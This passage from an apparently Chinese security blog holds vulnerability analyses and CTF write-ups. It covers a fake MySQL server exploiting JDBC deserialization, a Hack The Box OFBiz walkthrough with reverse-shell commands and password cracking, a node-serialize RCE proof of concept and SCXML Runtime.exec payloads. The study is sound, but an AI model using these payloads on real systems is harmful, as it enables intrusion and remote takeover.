4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break


if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3306

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

Demo代码,假设JDBC连接地址可控,并在环境中添加mysql-connector-java-8.0.13和commons-collections-3.2.1依赖:

1
2
3
4
5
6
7
8
9
10
11
12
import java.sql.*;


public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
String jdbc_url = "jdbc:mysql://x.x.x.x:3306/test?" +
"autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
}
}

此时JDBC连接设置为:

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

参数说明:

  • queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的类),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作);
  • autoDeserialize:自动检测与反序列化存在BLOB字段中的对象;

先使用ysoserial生成CC7的payload,然后运行恶意MySQL服务器进行监听:

1
2
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload
python3 evil_mysql.py

运行成功触发:

img

看到恶意MySQL服务是有具体的接受发送报文信息的:

img

各种payload小结

ServerStatusDiffInterceptor触发点

8.x

如上述Demo:

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
6.x

属性名不同,queryInterceptors换为statementInterceptors:

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
>=5.1.11

包名中没有cj:

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
5.x <= 5.1.10

同上,但需要连接后执行查询。

detectCustomCollations触发点

5.1.29 - 5.1.40
1
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
5.1.28 - 5.1.19
1
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

漏洞分析

这里仅分析ServerStatusDiffInterceptor触发点的漏洞场景。

在前面的代码调试分析发现,在调用com.mysql.cj.jdbc中相关函数来连接恶意MySQL服务器时,会调用到com.mysql.cj.jdbc.result.ResultSetImpl.getObject()函数,而其中会调用readObject()函数执行反序列化操作,说明看注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
@Override
public Object getObject(int columnIndex) throws SQLException {
checkRowPos();
checkColumnBounds(columnIndex);

int columnIndexMinusOne = columnIndex - 1;

// we can't completely rely on code below because primitives have default values for null (e.g. int->0)
if (this.thisRow.getNull(columnIndexMinusOne)) {
return null;
}

Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
...

case BINARY:
case VARBINARY:
case TINYBLOB:
case MEDIUMBLOB:
case LONGBLOB:
case BLOB:
// 判断是否为Binary或Blob格式数据
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);

// 判断autoDeserialize属性值是否为true,是的话才能进入反序列化操作的代码逻辑
// 这就是为啥设置JDBC连接时需要带上autoDeserialize=true的原因
if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
Object obj = data;

// -84和-19为序列化对象的前两个字节,即AC和ED
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException cnfe) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
+ Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
} catch (IOException ex) {
obj = data; // not serialized?
}
} else {
return getString(columnIndex);
}
}

return obj;
}

return data;
}

return getBytes(columnIndex);

...
}
}

下面调试看下怎么调用到com.mysql.cj.jdbc.result.ResultSetImpl.getObject()函数的,只看关键点。

一开始是com.mysql.jdbc.Driver进行JDBC中的连接,其中会新建连接实例:

img

连接后,接着设置对应的查询拦截器,对应的值就是我们在JDBC中设置的ServerStatusDiffInterceptor:

img

往下,程序从MySQL服务端来初始化Properties并执行相关的SQL语句,其中判断如果查询拦截器不为空则调用查询拦截器的preProcess()函数:

img

img

跟进看到,会运行查询语句SHOW SESSION STATUS,然后调用ResultSetUtil.resultSetToMap()函数,该函数中就调用了触发反序列化漏洞的getObject()函数(注意columnIndex为2处才能走到反序列化的代码逻辑,因为为1则直接返回null):

img

img

在调用getObject()函数中,判断MySQL的类型为BLOB后,就从MySQL服务端中获取对应的字节码数据:

img

img

从MySQL服务端获取到字节码数据后,判断autoDeserialize是否为true、字节码数据是否为序列化对象等,最后调用readObject()触发反序列化漏洞:

img

也就是说,当MySQL字段类型为BLOB时,会对数据进行反序列化操作,因此只要保证第1或第2字段为BLOB类型且存储了恶意序列化数据即可触发反序列化漏洞。

此时函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:10, Test

小结

MySQL JDBC客户端在开始连接MySQL服务端时,会执行一些如set autocommit=1等SQL Query,其中会触发我们所配置的queryInterceptors中的preProcess()函数,在该函数逻辑中、当MySQL字段类型为BLOB时,会对数据进行反序列化操作,因此只要保证第1或第2字段为BLOB类型且存储了恶意序列化数据即可触发反序列化漏洞。

Read More
post @ 2024-01-11

信息收集

nmap 扫描 常规开放端口22, 80, 443

dirsearch 后收集到一些路由/content, /accounting, /control 但都会跳转到登录界面

img

从右下角可以看到用的框架是 Apache OFBiz. Release 18.12

搜索可以发现(CVE-2023-49070 and CVE-2023-51467)

以及攻击利用的payload https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass/blob/master/exploit.py

漏洞利用

下载https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass/blob/master/exploit.py和https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar 之后 执行命令

1
2
3
4
python3 exploit.py --url https://bizness.htb/ --cmd 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjQvOTExMSAwPiYxCg==}|{base64,-d}|{bash,-i}'

# 这里的YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjQvOTExMSAwPiYxCg==为'bash -i >& /dev/tcp/10.10.14.124/9111 0>&1'的base64编码
# 另外开一个terminal nc -lvnp 9111

即可获得反弹shell

权限提升

下载linpeas.sh 执行后发现有derby 筛选所有相关的dat文件内容 find / -name "*.dat" 进入到目录/opt/ofbiz/runtime/data/derby/ofbiz/seg0

1
grep -arion -E '(\w+\W+){0,5}password(\W+\w+){0,5}'

可以得到一个可疑哈希 $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

这里为SHA1哈希 且salt为d , _换成/, -换成+

用cyberchef从base64转到hex得到 b8fd3f41a541a435857a8f3e751cc3a91c174362

接着用hashcat爆破 hash文件内容:b8fd3f41a541a435857a8f3e751cc3a91c174362:d

1
hashcat -m 120 -a 0 hash /usr/share/wordlists/rockyou.txt

得到结果 密码即为monkeybizness

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness  

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d
Time.Started.....: Thu Jan 11 23:10:55 2024 (13 secs)
Time.Estimated...: Thu Jan 11 23:11:08 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3346.2 kH/s (0.09ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1478656/14344385 (10.31%)
Rejected.........: 0/1478656 (0.00%)
Restore.Point....: 1477632/14344385 (10.30%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: montano13 -> monkey-moo
Hardware.Mon.#1..: Util: 43%

su切换为root 密码输入monkeybizness 成功提权

Read More

漏洞简介

CVE-2017-5941 漏洞出现在node-serialize模块0.0.4版本当中 反序列化时执行eval并且参数可控 存在RCE

环境搭建

npm install node-serialize@0.0.4

漏洞复现

0x1

了解什么是IIFE:

IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。

IIFE一般写成下面的形式:

1
2
3
(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();

0x2

先看到序列化结果

1
2
3
4
5
6
7
var test = {
"rce": function(){console.log(require('child_process').execSync('ls /').toString())}
};

var srl = serialize.serialize(test);
console.log(srl);
// {"rce":"_$$ND_FUNC$$_function(){console.log(require('child_process').execSync('ls /').toString())}"}

0x3

unserialize反序列化代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
exports.unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;

var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = exports.unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}

if (isIndex) {
circularTasks.forEach(function(task) {
task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
});
}
return obj;
};

可以看到17# eval('(' + obj[key].substring(FUNCFLAG.length) + ')');

这里FUNCFLAG=_$$ND_FUNC$$_ 也就是如果反序列化时如果识别为函数 则会直接拼接function部分 并eval 那么我们只要构造类似eval('(function(){console.log(2)})') 即可执行

0x4

在序列化结果末尾添上() 然后反序列化

1
2
3
4
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){console.log(require(\'child_process\').execSync(\'ls /\').toString())}()"}';
serialize.unserialize(payload);
// 成功执行ls /
Read More
post @ 2024-01-04

题目链接

源码分析

下载附件后得到BabyJxVx.jar 反编译后查看代码逻辑

com.example.babyjxvx.FlagController中有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@RequestMapping({"/Flag"})
@ResponseBody
public String Flag(@RequestParam(required = true) String filename) {
SCXMLExecutor executor = new SCXMLExecutor();
try {
if (check(filename).booleanValue()) {
SCXML scxml = SCXMLReader.read(filename);
executor.setStateMachine(scxml);
executor.go();
return "Revenge to me!";
}
System.out.println("nonono");
return "revenge?";
} catch (Exception var5) {
System.out.println(var5);
return "revenge?";
}
}

即在/Flag路由下接收参数filename并用SCXMLReader读取文件

EXP构造

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>
  • <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">:定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run
  • <final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run
  • <onexit>:定义了一个事件,在退出状态时触发
  • <assign........> : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。
  • YmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjE= base64解码后为 bash -i >& /dev/tcp/ip/port 0>&1即reverse shell

类似payload

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?> 
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
</script>
</onentry>
</state>
</scxml>
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
</onentry>
</state>
</scxml>
1
2
3
4
5
6
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<datamodel>
<data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc')"></data>
</datamodel>
</scxml>
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<parallel>
<invoke src="test" content="test" id="flag">
<param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc')"></param>
</invoke>
</parallel>
</scxml>
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state>
<history src="test" content="test" id="flag">
<transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc')"></transition>
</history>
</state>
</scxml>

执行

将payload.xml 放置在vps上 并开启端口监听

1
2
'http://node4.anna.nssctf.cn:28742/Flag?filename=http://xx.xx.xx.xx/pld.xml'
// 回显Revenge to me! 因为RCE执行结果不会回显 所以用reverse shell

成功获取shell后cat /f*

Read More
⬆︎TOP